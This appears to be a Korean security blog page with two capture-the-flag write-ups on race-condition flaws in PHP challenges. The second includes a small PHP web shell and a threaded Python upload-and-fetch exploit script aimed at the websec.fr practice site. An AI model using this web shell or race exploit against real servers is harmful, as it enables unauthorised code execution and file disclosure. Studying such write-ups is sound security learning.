'race condition'에 해당되는 글 2건

반응형

해당 문제는 Race Condition과 관련된 문제이다.


1. !is_numeric($_COOKIE['PHPSESSID'])

 : 그냥 로그인을 한 뒤 접근하게 되면 화면에 Access Denied가 뜨게 된다.

 이는 위의 is_numeric 함수에 의한 것인데, 쿠키의 PHPSESSID 값이 숫자로만 이루어진 것이 아니라면 Access Denied가 뜬다.

 해당 함수를 우회하기 위해 단순히 요청 상의 PHPSESSID 값을 숫자로 변경할 경우 로그인한 세션값이 바뀌게 되어 login_chk() 함수에서 걸리게 된다.


따라서 위의 함수를 우회하기 위해서는 로그인할 때부터 세션값을 숫자로 설정해주어야 한다.

나는 Set-Cookie 헤더를 이용하여 이를 우회하였다.


아래 사진과 같이 로그인 이후 응답 값 헤더에 Set-Cookie를 추가하고 설정할 PHPSESSID 값을 입력해주면 이후부터 해당 세션값을 가지고 통신을 하게 된다.


2. unlink 

 : 요청을 한 클라이언트가 로컬(127.0.01)이 아닐 경우 생성하는 txt 파일을 1초 후에 삭제하도록 되어있다.

  if($_SERVER['REMOTE_ADDR']!="127.0.0.1"){
    
sleep(1);
    
unlink("./readme/{$_SESSION['idx']}.txt");

  }


여기서 중요한 포인트는 sleep(1) 이다.

즉, 로컬이 아닐 경우에도 1초 동안은 해당 txt 파일이 서버에 존재한다는 것이다.

이를 통해 해당 문제가 Race Condition 문제임을 예상할 수 있다.


내가 삽질한 것은 하나의 세션을 가지고 Race Condition을 하려한 점이다.

위키백과에 따르면 race condition이란 "공유 자원에 대해 여러 개의 프로세스가 동시에 접근을 시도할 때 접근의 타이밍이나 순서 등이 결과값에 영향을 줄 수 있는 상태"를 말한다.


여기서 여러 개의 프로세스가 동시에 접근을 해야하는데, 세션 값이 하나일 경우라면 한 txt 파일에 동시에 접근하는 것이 아니라 이전 접근이 끝날 때를 기다렸다가 접근하기 때문에 절대 문제를 풀 수가 없다.


따라서 다른 브라우저에서 로그인 후 동일한 idx를 가지는 세션 값을 하나 더 만들어 준뒤 동시에 접근하도록 하면 문제가 solve 된다.



(참고) https://ko.wikipedia.org/wiki/%EA%B2%BD%EC%9F%81_%EC%83%81%ED%83%9C

반응형

'Solve Problem > Webhacking.kr' 카테고리의 다른 글

webhacking.kr old-57 writeup  (0) 2020.04.13
webhacking.kr old-59 writeup  (0) 2020.04.13
[Webhacking.kr] old-47  (0) 2020.04.10
[webhacking.kr] old-09 Writeup  (0) 2020.04.01
4번 문제  (0) 2020.04.01
블로그 이미지

rootable

,
반응형

문제 접근 후 코드를 보자.


 if (md5_file($filename) === md5_file('flag.php') && $_POST['checksum'] == crc32($_POST['checksum'])) {
    include(
$filename);  // it contains the `$flag` variable
    
} else {
        
$flag "Nope, $filename is not the right file, sorry.";
        
sleep(1);  // Deter bruteforce
    
}

  
unlink($filename);


먼저 $_POST['checksum']과 crc32($_POST['checksum']) 부분은 PHP loose comparison에 의해 checksum을 array 형태로 전송하면 우회가 된다.


하지만 $filename은 $_SERVER['REMOTE_ADDR']을 이용하여 생성하기 때문에 flag.php로 만들어줄 수가 없다. 

여기서 삽질의 삽질을 하다 unlink($filename)을 통해 내가 업로드한 파일을 삭제하기 전 sleep(1)을 통해 잠시 대기하는 코드를 보았다.


이를 통해 공격을 진행해보았다.

방법은 이렇다.


1. flag.php 파일을 볼 수 있도록 웹쉘 파일을 작성한다.

#웹쉘 코드

<?php show_source('flag.php') ?>


2. 해당 웹쉘 파일을 업로드한다.

3. 업로드 후 1초안에(파일이 삭제되기 전에) 해당 파일에 접근한다.

 - 파일명은 md5($_SERVER['REMOTE_ADDR'])이며 문제에서 출력해주기도 한다.


Burp Repeater를 이용하여 문제가 풀리기도 하지만 Python으로 코딩하여 문제를 풀어보았다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import requests
import threading
import sys
 
 
def file_upload():
    while(1):
        upload_url='http://websec.fr/level28/index.php'
        files = {'flag_file'open('flag.php','rb')}
        payload = {'checksum':'123','submit':'Upload and check'}
        r = requests.post(upload_url,files=files, data=payload)
        print "[+] webshell upload"
        #print r.text
 
def flag_read():
    while(1):
        url='http://websec.fr/level28/파일명.php'
        response = requests.get(url)
 
        if(response.status_code!=404):
            print response.text
            sys.exit()
        else:
            print "[-] Not Found Your Webshell"
 
def main():
    t1=threading.Thread(target=flag_read)
    t2=threading.Thread(target=file_upload)
    
    t1.start()
    t2.start()
            
if __name__ == '__main__':
    main()
cs




추가

이렇게 서버 측에서 해당 파일에 대해 작업을 하기 전 예상하지 못한 작업을 하는 공격을 race condition vulnerability 이라고 한다.


해당 기법은 보통 시스템 해킹 시 많이 사용되며 해당 기법을 통해 root 권한을 탈취할 수도 있다.


이번 문제를 풀기 전에 시스템 해킹에서만 사용되는 기법으로 알고 있었는데 웹에서도 나올 수 있구나를 알 수 있었으며 이를 통해 역시 보안의 모든 분야는 연결되어있음을 또 한번 느낄 수 있었다.



참고)

https://www.owasp.org/index.php/Testing_for_Race_Conditions_(OWASP-AT-010)

https://blogger.pe.kr/363

반응형
블로그 이미지

rootable

,